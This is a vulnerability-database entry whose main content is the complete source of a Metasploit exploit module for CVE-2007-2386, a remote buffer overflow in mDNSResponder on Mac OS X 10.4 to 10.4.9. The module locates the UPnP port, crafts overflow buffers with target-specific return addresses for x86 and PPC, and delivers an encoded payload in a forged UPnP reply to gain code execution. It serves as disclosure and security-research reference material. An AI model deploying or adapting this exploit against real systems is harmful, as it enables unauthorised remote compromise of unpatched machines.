Lucene search
K

Mac OS X mDNSResponder UPnP Location Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 27 Views

Mac OS X mDNSResponder UPnP Location Overflow. Exploits buffer overflow in mDNSResponder affecting Mac OS X 10.4 to 10.4.9 without 2007-005 patch

Code

                                                ##
# $Id: upnp_location.rb 11515 2011-01-08 01:12:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow that occurs when processing
				specially crafted requests set to mDNSResponder. All Mac OS X systems
				between version 10.4 and 10.4.9 (without the 2007-005 patch) are
				affected.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'ddz'
				],
			'Version'        => '$Revision: 11515 $',
			'References'     =>
				[
					[ 'OSVDB', '35142' ],
					[ 'CVE', '2007-2386' ],
					[ 'BID', '24144' ],
					[ 'URL', 'http://support.apple.com/kb/TA24732' ]
				],
			'DefaultOptions' =>
				{
					'SRVPORT' => 1900,
					'RPORT' => 0
				},
			'Payload' =>
				{
					'BadChars' => "\x00\x3a\x2f",
					'StackAdjustment' => 0,
					'Space' => 468
				},
			'Platform' => 'osx',
			'Targets' =>
				[
					[ '10.4.8 x86',
						{ # mDNSResponder-108.2
							'Arch'                   => ARCH_X86,
							# Offset to mDNSStorage structure
							'Offset'                 => 21000,
							'Magic'                  => 0x8fe510a0,
							'g_szRouterHostPortDesc' => 0x53dc0,
						}
					],
					[ '10.4.0 PPC',
						{ # mDNSResponder-107
							'Arch'    => ARCH_PPC,
							'Offset'  => 21000,
							'Magic'   => 0x8fe51f4c,
							'Ret'     => 0x8fe41af8,
						}
					]
				],
			'DisclosureDate' => 'May 25 2007',
			'DefaultTarget' => 1))

		register_options(
			[
				Opt::LHOST(),
				OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
			], self.class)

		@mutex = Mutex.new()
		@found_upnp_port = false
		@key_to_port = Hash.new()
		@upnp_port = 0
		@client_socket = nil
	end

	def check
		#
		# TODO: Listen on two service ports, one a single character
		# shorter than the other (i.e 1900 and 19000).  If the copy was
		# truncated by strlcpy, it will connect to the service listening
		# on the shorter port number.
		#
		upnp_port = scan_for_upnp_port()
		if (upnp_port > 0)
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Unsupported
		end
	end

	def upnp_server(server)
		client = server.accept()
		request = client.readline()
		if (request =~ /GET \/([\da-f]+).xml/)
			@mutex.synchronize {
				@found_upnp_port = true
				@upnp_port = @key_to_port[$1]

				# Important: Keep the client connection open
				@client_socket = client
			}
		end
	end

	def scan_for_upnp_port
		@upnp_port = 0
		@found_upnp_port = false

		upnp_port = 0

		# XXX: Do this in a more Metasploit-y way
		server = TCPServer.open(1900)
		server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }

		begin
			socket = Rex::Socket.create_udp

			upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']

			puts "[*] Listening for UPNP requests on: #{upnp_location}"
			puts "[*] Sending UPNP Discovery replies..."

			i = 49152;
			while i < 65536 && @mutex.synchronize {
				@found_upnp_port == false
			}
			key = sprintf("%.2x%.2x%.2x%.2x%.2x",
				rand(255), rand(255), rand(255), rand(255), rand(255))

			@mutex.synchronize {
				@key_to_port[key] = i
			}

			upnp_reply = "HTTP/1.1 200 Ok\r\n" +
				"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
				"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
				"Location: #{upnp_location}/#{key}.xml\r\n\r\n"

			socket.sendto(upnp_reply, datastore['RHOST'], i)

			i += 1
		end

		@mutex.synchronize {
			if (@found_upnp_port)
				upnp_port = @upnp_port
			end
		}
		ensure
			server.close
			server_thread.join
		end

		return upnp_port
	end

	def exploit
		#
		# It is very important that we scan for the upnp port.  We must
		# receive the TCP connection and hold it open, otherwise the
		# code path that uses the overwritten function pointer most
		# likely won't be used.  Holding this connection increases the
		# chance that the code path will be used dramatically.
		#
		upnp_port = scan_for_upnp_port()

		if upnp_port == 0
			raise "Could not find listening UPNP UDP socket"
		end

		datastore['RPORT'] = upnp_port

		socket = connect_udp()

		if (target['Arch'] == ARCH_X86)
			space = "A" * target['Offset']
			space[0, payload.encoded.length] = payload.encoded

			pattern = Rex::Text.pattern_create(47)
			pattern[20, 4] = [target['Magic']].pack('V')
			pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]

			boom = space + pattern
			usn = ""

		elsif (target['Arch'] == ARCH_PPC)
			space = "A" * target['Offset']

			pattern = Rex::Text.pattern_create(48)
			pattern[20, 4] = [target['Magic']].pack('N')

			#
			# r26, r27, r30, r31 point to g_szUSN+556
			# Ret should be a branch to one of these registers
			# And we make sure to put our payload in the USN header
			#
			pattern[44, 4] = [target['Ret']].pack('N')

			boom = space + pattern

			#
			# Start payload at offset 556 within USN
			#
			usn = "A" * 556 + payload.encoded
		end

		upnp_reply = "HTTP/1.1 200 Ok\r\n" +
			"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
			"USN: #{usn}\r\n" +
			"Location: http://#{boom}\r\n\r\n"

		puts "[*] Sending evil UPNP response"
		socket.put(upnp_reply)

		puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
		select(nil,nil,nil,10)

		handler()
		disconnect_udp()
	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
27